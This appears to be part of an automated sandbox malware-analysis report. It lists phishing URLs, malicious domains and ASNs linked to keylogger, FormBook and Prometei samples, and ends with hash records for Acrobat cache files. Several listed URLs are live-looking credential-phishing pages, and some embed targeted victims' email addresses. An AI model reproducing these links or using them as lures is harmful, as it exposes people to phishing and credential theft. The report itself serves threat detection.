	https://u1.padletusercontent.com/uploads/padlet-uploads/3491219737/2b368a4a8c3de6ef146e1b5ca28dcf1c/Share_Point_Job.pdf?token=kUv4QPZM_xCPPM7mCAJwOQckUdcPaTXl8JcH_ik0EG6fOlLtGD17RFQ3UfWGFXKpjNWXbm3fV22wRZUwL8VMq771U8Sg0IT70GqvXXwELk2W8o4uQHfeHL67H22qqQiuRnnNXnz4Zp-iKqCKwXqvNRT635EL_fYQeJYkRnrKI_juzey3Hw79gGMOz7bMor1Vs7yfO-lZRNB-5p8AOo5v8SFldS9lnw0I7sVfRz2XwUy23_eoCU3_NZCAOoEF2bZy	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://click.convertkit-mail2.com/5quze56mr8b7hnn29vku6h958z444in/m2h7h5h3kep2o7im/aHR0cHM6Ly93d3cuYmluZy5jb20vY2svYT8lMjEmZmNsaWQ9M2Y4NzI4MDUtZmFmYS02MTNlLTBjMGUtM2Q4Y2ZiZWU2MGM4JmhzaD00JnA9MWYxOWQxNjM2ODY0MjFhMWM0ZGVlNmU5MTNhNzBiMDM5NzU3NzBkNjY3OGNjODVhYWExOTM5OWRkYjk3OTdjM0ptbHRkSE05TVRjME1EQTVOakF3TUEmcHRuPTMmdT1hMWFIUjBjSE02THk5aGJXRnVkMmh2Ym1WbFpHVmtaM0poWTJVdVkyOXRMMkZpYjNWMEx3JnZlcj0yI2FIUjBjSE02THk4NVJ5NXliSEZ3YjI1aGQybDFlUzV5ZFM5MVNuTmxWMGN2Lz9xcmM9	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://docs.google.com/document/d/17J2L1eKLH0J5nHUzrjiF9IlkurD9afurJAGyfUFNVFI/edit?usp=sharing_eip&ts=67c8321f	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
developers.cloudflare.com	VN_MSG-Splcenter.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://uniqueattestation.com/dev/	Get hash	malicious	Invisible JS	Browse	104.16.4.189
	https://4yk.enterszcainmenthub.ru/shaw9AvRJk/%23Upatti.passmore@first=	Get hash	malicious	Invisible JS	Browse	104.16.2.189
	.deveba=.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://panel.diggdigital.com/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.4.189
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceUNVTOZBXQQ.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.5.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
mandrillapp.com	Novagraaf - J Perez 2025 Q1 Handcook--4821493.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	76.223.125.47
	https://click.mailchimp.com/track/click/30010842/forms.office.com?p=eyJzIjoiUU5MTE43blNUdEQxbUdOR3lwdVJ3M1kyVHBzIiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2Zvcm1zLm9mZmljZS5jb21cXFwvUGFnZXNcXFwvU2hhcmVGb3JtUGFnZS5hc3B4P2lkPWkwYWxtWEtzYWtDTnNoUThad2JsWnVHaXRELXJkRk5MbngxZkVDU0RBUGRVT1VWWE9WSTJUa0ZNVFRaSU1EUldUa2RZVmtWSlEwczBVUzR1JnNoYXJldG9rZW49cWhZMVVQRWtyM0NGdjJpcUlpTUtcIixcImlkXCI6XCIzYjUxMDE1ZDY0ODc0ZDdkOWMwNjg2OGM5Y2M5OWVjOFwiLFwidXJsX2lkc1wiOltcIjVkMTg5YTdhMzU1NWIyZWQ5ZjBlNmQ4ZTM3MWFjZmM1ZDE4NzMwYmRcIl19In0	Get hash	malicious	HTMLPhisher	Browse	76.223.125.47
	https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0	Get hash	malicious	Unknown	Browse	15.197.175.4
	https://mandrillapp.com/track/click/30903880/lamp.avocet.io?p=eyJzIjoiM2NCLS1TMlk4RWF3Nl9vVXV4SHlzRDZ5dmJJIiwidiI6MSwicCI6IntcInVcIjozMDkwMzg4MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2xhbXAuYXZvY2V0LmlvXFxcL25ldy11c2VyXCIsXCJpZFwiOlwiMTMxMTQyZmQwMzMxNDA4MWE0YmQyOGYzZDRmYmViYzRcIixcInVybF9pZHNcIjpbXCI0OWFlZTViODJkYzk4NGYxNTg2ZGIzZTYzNGE5ZWUxMDgxYjVmMDY5XCJdfSJ9	Get hash	malicious	Unknown	Browse	76.223.125.47
	https://mandrillapp.com/track/click/30953781/woolworthsrobloxrewards.com.au?p=eyJzIjoiX0dYbnNBb1dSWkpNc0Z1d2RDOXp3RlRxNEJFIiwidiI6MSwicCI6IntcInVcIjozMDk1Mzc4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3dvb2x3b3J0aHNyb2Jsb3hyZXdhcmRzLmNvbS5hdVxcXC8_cHJpemU9NDAgUm9idXhcIixcImlkXCI6XCI2MWFjOGM1NGU0Yjk0NWQ1OTJmODU3ZmJkNWQ2NDQ1YVwiLFwidXJsX2lkc1wiOltcIjYzN2U5OTVlOWE0YmVkZDcxOTZjZjhmOTRjOGMyMTk0Yzc2NDI4MjRcIl19In0	Get hash	malicious	Unknown	Browse	15.197.175.4
	You have received a gift from Giftano.eml	Get hash	malicious	GiftCardfraud	Browse	76.223.125.47
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	76.223.125.47
	https://mandrillapp.com/track/click/30481271/www.doku.com?p=eyJzIjoibU5DZVhaM2w5MjJrQzZUaXptdlBXY2VNN2VnIiwidiI6MSwicCI6IntcInVcIjozMDQ4MTI3MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5kb2t1LmNvbVxcXC91XFxcL01PMjI3cXdcIixcImlkXCI6XCIxZjY5Nzc3NzBlZjU0NTg3OThmOTMwN2YyMzc5Y2VlOFwiLFwidXJsX2lkc1wiOltcImZiY2Y5N2U4ZWY0YzlkODk1Y2MxMGM4Y2YzYTdkZjc5YzU2NzU4MTlcIl19In0	Get hash	malicious	Unknown	Browse	15.197.175.4
	https://mandrillapp.com/track/click/31186821/PlayPlay.tracking.panopli.com?p=eyJzIjoiWnI5THI1ZGRfc0lfN1JsMkw0WjlmbzkzbFlvIiwidiI6MSwicCI6IntcInVcIjozMTE4NjgyMSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL1BsYXlQbGF5LnRyYWNraW5nLnBhbm9wbGkuY29tP2lkPTY2ZTJhMWNlZjFkMGMzN2NmMTA2ZjY3ZCZjdXN0b21lcklkPXFycXA1bDRlXCIsXCJpZFwiOlwiMjRmZDBiNDMzOWZlNDEyNzgxOWIzY2NlYjliYWYzN2ZcIixcInVybF9pZHNcIjpbXCIxNGYyM2ZkMDNkODNlZGM4ZWJkY2ZhY2RiNTlkZmFiYjg2OGE4ZDc5XCJdfSJ9	Get hash	malicious	Unknown	Browse	15.197.175.4
	https://click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#bob_cotton@mohawkind.com	Get hash	malicious	HTMLPhisher	Browse	15.197.175.4
e8652.dscx.akamaiedge.net	http://assets.website-files.com/65f049a751a1a69da635c332/65f5ba14b55bafaaa963e8e4_buteb.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	https://krlbnwrvjizgauhuaegf.supabase.co/storage/v1/object/public/enroute-computer/Enroute%20Computer%20Solutions.pdf	Get hash	malicious	HTMLPhisher	Browse	92.123.17.129
	OPENBASE ATT09918_ 6TH_MARCH_2025 _.PDF	Get hash	malicious	Unknown	Browse	104.76.201.34
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	23.209.209.135
	emichshit.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	Ocean-City.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	https://u1.padletusercontent.com/uploads/padlet-uploads/3491219737/2b368a4a8c3de6ef146e1b5ca28dcf1c/Share_Point_Job.pdf?token=kUv4QPZM_xCPPM7mCAJwOQckUdcPaTXl8JcH_ik0EG6fOlLtGD17RFQ3UfWGFXKpjNWXbm3fV22wRZUwL8VMq771U8Sg0IT70GqvXXwELk2W8o4uQHfeHL67H22qqQiuRnnNXnz4Zp-iKqCKwXqvNRT635EL_fYQeJYkRnrKI_juzey3Hw79gGMOz7bMor1Vs7yfO-lZRNB-5p8AOo5v8SFldS9lnw0I7sVfRz2XwUy23_eoCU3_NZCAOoEF2bZy	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	2.23.197.184
	Urgent Suspicious Scam Email.eml	Get hash	malicious	Unknown	Browse	23.209.209.135
	https://usermanualplatforms59.site/GBA55/instruction_695-18014-012_rev.php	Get hash	malicious	Unknown	Browse	23.209.209.135
	Details of the selected transactions_169371_389366169134432.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Shipping Document ..exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	Invoice & Packing List # SL1072401222.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	https://rea.grupolalegion.ec/p.php	Get hash	malicious	Unknown	Browse	1.1.1.1
	Invoice- Trikaya Bio.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	https://login.miscoroft365login.duckdns.org/LsofkdMN__;!!P5FZM7ryyeY!VmxMu2iiMMnpLEqo7pZDNimxZ3_4LnERg-CFeq16yRBMrLWJLkxJ4VtHMoxnjdUIVDwkKmDqJMUAaLW83jHZqtI$	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://login.miscoroft365login.duckdns.org/LsofkdMN__;!!P5FZM7ryyeY!VmxMu2iiMMnpLEqo7pZDNimxZ3_4LnERg-CFeq16yRBMrLWJLkxJ4VtHMoxnjdUIVDwkKmDqJMUAaLW83jHZqtI$	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@youtube.com	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@besix.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	z1INVOICE4602-FMT25020147.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	https://worker-rough-fire-759a.berwieberwieberwieberwieberwie.workers.dev/?eba=.htm	Get hash	malicious	Unknown	Browse	172.67.206.91
AMAZON-02US	updated quotation.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@youtube.com	Get hash	malicious	HTMLPhisher	Browse	18.239.255.30
	Payment Invoice ref0306252.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	MV SANTA IRIS.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	mal.exe.txt.exe	Get hash	malicious	Metasploit	Browse	18.192.93.86
	na.elf	Get hash	malicious	Prometei	Browse	34.215.158.160
	na.elf	Get hash	malicious	Prometei	Browse	34.215.158.160
	CV Jennyfer Rojas.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	na.elf	Get hash	malicious	Prometei	Browse	34.215.158.160
	na.elf	Get hash	malicious	Prometei	Browse	34.215.158.160
FASTLYUS	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@youtube.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@besix.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	ATT9668233.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	VN_MSG-Splcenter.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	http://rebcare.help	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://spaceavenue.ae/Wilbe/roni.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	Blake Moss is inviting you to collaborate on Distribution Notice.eml	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://shared.outlook.inky.com/link?domain=sonarmedia.a2hosted.com&t=h.eJw1jkEOwiAURK_SsDYlH2iBrrzKF76WQEsDNMYY764sXM_Me_NmZ0lsGdja2lEXzmvesWzkA44o1lwb-dHljV0GFntvp5bLw04wWSl5xEL7FRPWiC9KKT99qAc2t_YR13dQwmhPAFLMqL32Cidh9U16A8pw0AqEmY00owUtLcguoi7aQqROjhgokWsluP8R_8v3M6XPF5GqOpY.MEQCIG-ydO5bULjNxSxtbqdqhoXlnmTS_tzb28w3vOdO8_ksAiBb9fKtPLfM5aYfQbUW6d81oub3HxpVI_ll_oHZbUXVIA	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	http://go.m1.hrcompliance.online/track/click/SlC0AvG0onqQGsW7nu2rzJxK31w/1/aHR0cHM6Ly9rbm93bGVkZ2VibGVuZGVyLmNvbS9sb2FkLWNvdXJzZS9kMGIyYjhiYTc1N2RmZmIyOTU2MmFhNDgxZmI0M2MxYg==/?md5=_YTGGM8DHft1JCbCGS6PPg	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://sfo2.digitaloceanspaces.com/mo8043/jm1208	Get hash	malicious	Unknown	Browse	151.101.1.194
CLOUDFLARENETUS	Shipping Document ..exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	Invoice & Packing List # SL1072401222.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	https://rea.grupolalegion.ec/p.php	Get hash	malicious	Unknown	Browse	1.1.1.1
	Invoice- Trikaya Bio.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	https://login.miscoroft365login.duckdns.org/LsofkdMN__;!!P5FZM7ryyeY!VmxMu2iiMMnpLEqo7pZDNimxZ3_4LnERg-CFeq16yRBMrLWJLkxJ4VtHMoxnjdUIVDwkKmDqJMUAaLW83jHZqtI$	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://login.miscoroft365login.duckdns.org/LsofkdMN__;!!P5FZM7ryyeY!VmxMu2iiMMnpLEqo7pZDNimxZ3_4LnERg-CFeq16yRBMrLWJLkxJ4VtHMoxnjdUIVDwkKmDqJMUAaLW83jHZqtI$	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@youtube.com	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://ipfs.io/ipfs/bafkreieqld65z4s3qt2ewjyg6bbbyhkdl2tlzzvflxmef66o3zugau2mtu/#bgruwez@besix.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	z1INVOICE4602-FMT25020147.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	https://worker-rough-fire-759a.berwieberwieberwieberwieberwie.workers.dev/?eba=.htm	Get hash	malicious	Unknown	Browse	172.67.206.91

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227695654670186
Encrypted:	false
SSDEEP:	6:iOyH9+q2P92nKuAl9OmbnIFUt8UUF53JZmwOUlN9VkwO92nKuAl9OmbjLJ:7yH4v4HAahFUt8U03J/OUfD5LHAaSJ
MD5:	653A5F606B858BE29D0F248FFF18CBB2
SHA1:	FE16BD4079BCE0CEC7400ED4224267CDD01D8931
SHA-256:	50D00AA899CD9FD919319E1981CFBC5161FB7C17E1FF1BC886B83EFD951446D0
SHA-512:	3DE3F9617DDB7EB7CE5A46AEEBE0536CC1FEAA44BB8D1437A3A16D3CC1F8628451BCAB815C1C10DA4972284DAB09BCA8309DEAF202B11290230288B170C3E865
Malicious:	false
Reputation:	low
Preview:	2025/03/07-04:13:58.640 1528 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/03/07-04:13:58.651 1528 Recovering log #3.2025/03/07-04:13:58.652 1528 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227695654670186
Encrypted:	false
SSDEEP:	6:iOyH9+q2P92nKuAl9OmbnIFUt8UUF53JZmwOUlN9VkwO92nKuAl9OmbjLJ:7yH4v4HAahFUt8U03J/OUfD5LHAaSJ
MD5:	653A5F606B858BE29D0F248FFF18CBB2
SHA1:	FE16BD4079BCE0CEC7400ED4224267CDD01D8931
SHA-256:	50D00AA899CD9FD919319E1981CFBC5161FB7C17E1FF1BC886B83EFD951446D0
SHA-512:	3DE3F9617DDB7EB7CE5A46AEEBE0536CC1FEAA44BB8D1437A3A16D3CC1F8628451BCAB815C1C10DA4972284DAB09BCA8309DEAF202B11290230288B170C3E865
Malicious:	false
Reputation:	low
Preview:	2025/03/07-04:13:58.640 1528 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/03/07-04:13:58.651 1528 Recovering log #3.2025/03/07-04:13:58.652 1528 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.21461582883404
Encrypted:	false
SSDEEP:	6:iOy60jL+q2P92nKuAl9Ombzo2jMGIFUt8p1ZmwO/LVkwO92nKuAl9Ombzo2jMmLJ:7y6Fv4HAa8uFUt8p1/O55LHAa8RJ
MD5:	E1904A57CA23EA0C2E843F4018A89465
SHA1:	444CE8BF62C36B3DDC0239B9AF6A0613B8260CFB
SHA-256:	3E7208E1A9367C22456F75A62478F1585C89074D973FB94E40EA0CDE5A38854B
SHA-512:	7AF93FD03248E0FC69AC75FCAFB86661620E3864A8A80F3DAB02D6D7C63F299FCAE5120074CF22588FB52A29034267F81835C06B288CABCCF1121D8B91EC44D5
Malicious:	false
Reputation:	low
Preview:	2025/03/07-04:13:58.680 9a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/03/07-04:13:58.682 9a8 Recovering log #3.2025/03/07-04:13:58.682 9a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.21461582883404
Encrypted:	false
SSDEEP:	6:iOy60jL+q2P92nKuAl9Ombzo2jMGIFUt8p1ZmwO/LVkwO92nKuAl9Ombzo2jMmLJ:7y6Fv4HAa8uFUt8p1/O55LHAa8RJ
MD5:	E1904A57CA23EA0C2E843F4018A89465
SHA1:	444CE8BF62C36B3DDC0239B9AF6A0613B8260CFB
SHA-256:	3E7208E1A9367C22456F75A62478F1585C89074D973FB94E40EA0CDE5A38854B
SHA-512:	7AF93FD03248E0FC69AC75FCAFB86661620E3864A8A80F3DAB02D6D7C63F299FCAE5120074CF22588FB52A29034267F81835C06B288CABCCF1121D8B91EC44D5
Malicious:	false
Reputation:	low
Preview:	2025/03/07-04:13:58.680 9a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/03/07-04:13:58.682 9a8 Recovering log #3.2025/03/07-04:13:58.682 9a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\50d79bc6-4062-4c9a-95c6-35b4fd4c50fd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.044254613268565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjWxhsBdOg2H8pcaq3QYiubxnP7E4T3OF+:Y2sRdsUWYdMH8Q3QYhbxP7nbI+
MD5:	AA2ED4013658833BD947564EBE39C075
SHA1:	4C59D9BC8E2143AF8D4C04899D3FD352A6A15AE7
SHA-256:	084919ECAEEA431D6CBFD39453263A8B1D4B3535A2DEA8A8DD80B714037E4062
SHA-512:	8863B6A4E3A61713E7DE41E89BEC2C94486FE162E524F65713E68D19805F82BC395FA26368A48716D5BC4E4010110160C5C2FE958D48876DABB4C8094CAD09E8
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385898850483894","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136280},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.044254613268565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjWxhsBdOg2H8pcaq3QYiubxnP7E4T3OF+:Y2sRdsUWYdMH8Q3QYhbxP7nbI+
MD5:	AA2ED4013658833BD947564EBE39C075
SHA1:	4C59D9BC8E2143AF8D4C04899D3FD352A6A15AE7
SHA-256:	084919ECAEEA431D6CBFD39453263A8B1D4B3535A2DEA8A8DD80B714037E4062
SHA-512:	8863B6A4E3A61713E7DE41E89BEC2C94486FE162E524F65713E68D19805F82BC395FA26368A48716D5BC4E4010110160C5C2FE958D48876DABB4C8094CAD09E8
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13385898850483894","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136280},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.232271701057388
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUeUceq+UcZ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLy
MD5:	C97260D8614CC3F75C6E3EC103567766
SHA1:	091E3002B4CAAF21A9DD161C94D8BC46B67D4FA2
SHA-256:	B21098F5FDDAE335E8DAA97462CE114B2F0386B3C891D3F9911430BC0CAFC116
SHA-512:	A3317F6A585689131AC9770BB26AA774F5FC47F8FDC88FB12E656C11EED94F6C59D459C0CFE4F5A2C5F6016B8DF2F7AB15114A3361E6F06A09A6B38C2A96E747
Malicious:	false
